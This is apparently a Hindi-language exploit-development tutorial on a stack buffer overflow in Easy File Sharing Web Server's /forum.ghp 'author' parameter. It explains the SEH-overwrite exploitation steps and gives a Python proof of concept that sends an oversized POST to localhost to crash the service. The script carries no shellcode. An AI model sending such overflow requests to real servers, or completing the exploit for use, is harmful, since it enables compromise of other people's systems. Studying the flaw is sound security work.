⚠️ भेद्यता के बारे में

Easy File Sharing वेब सर्वर /forum.ghp पर निर्देशित HTTP POST अनुरोधों को संसाधित करता है जब कोई उपयोगकर्ता एक नया फ़ोरम विषय बनाता है। स्वीकृत पैरामीटरों में से एक author है, जिसे बिना किसी लंबाई जाँच के स्थानीय स्टैक बफर में कॉपी किया जाता है।

बाइनरी को रिवर्स करते समय, यह देखा जा सकता है कि इस फॉर्म फ़ील्ड का हैंडलर एक निश्चित आकार के बफर और एक असुरक्षित कॉपी ऑपरेशन का उपयोग करता है। कमजोर तर्क का एक सरलीकृत संस्करण इस प्रकार दिखता है:

char author_buffer[64];

strcpy(author_buffer, user_input);

चूँकि गंतव्य बफर का आकार निश्चित है और इनपुट लंबाई सत्यापित नहीं है, author फ़ील्ड में पर्याप्त लंबा स्ट्रिंग भेजने से कॉपी बफर के अंत से आगे लिखती है।

जैसे-जैसे अधिक डेटा लिखा जाता है, स्टैक लेआउट दूषित हो जाता है। एक साधारण रिटर्न एड्रेस अधिलेखन के विपरीत, ओवरफ्लो स्टैक पर संग्रहीत Structured Exception Handler (SEH) श्रृंखला तक पहुँचता है। जब दूषित स्टैक के परिणामस्वरूप कोई अपवाद ट्रिगर होता है, तो OS SEH श्रृंखला पर चलता है और हमलावर-नियंत्रित हैंडलर एड्रेस पर नियंत्रण स्थानांतरित करता है।

इसलिए शोषण प्रवाह SEH अधिलेखन तकनीक का अनुसरण करता है:

1. एक लंबा इनपुट स्टैक को अधिलेखित करता है, जिसमें nSEH और SEH हैंडलर पॉइंटर शामिल हैं।
2. मेमोरी भ्रष्टाचार के कारण एक अपवाद ट्रिगर होता है।
3. OS अधिलेखित हैंडलर एड्रेस को आमंत्रित करता है।
4. nSEH क्षेत्र में निष्पादन स्थानांतरित करने के लिए एक POP POP RETN गैजेट का उपयोग किया जाता है।
5. एक लघु जंप आगे बढ़कर SEH रिकॉर्ड को छोड़ देता है और निष्पादन को शेलकोड क्षेत्र की ओर पुनर्निर्देशित करता है।
6. शेलकोड चलता है।

यह भेद्यता को मूल EIP अधिलेखन की तुलना में शोषण करने के लिए अधिक जटिल बनाता है, लेकिन यह वास्तविक दुनिया के परिदृश्यों का अधिक प्रतिनिधि भी है।

import socket

HOST = '127.0.0.1'
PORT = 80

payload = b"A" * 500

request = (
	b"POST /forum.ghp?forumid=1 HTTP/1.1\r\n"
	b"Host: 127.0.0.1\r\n"
	b"Content-Type: application/x-www-form-urlencoded\r\n"
	b"Cookie: UserID=test; PassWD=test; SESSIONID=1234\r\n"
	b"Connection: close\r\n"
	b"\r\n"
	b"author=" + payload + b"&passwd=test&title=test&content=test&Submit=Submit\r\n"
)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(request)
s.close()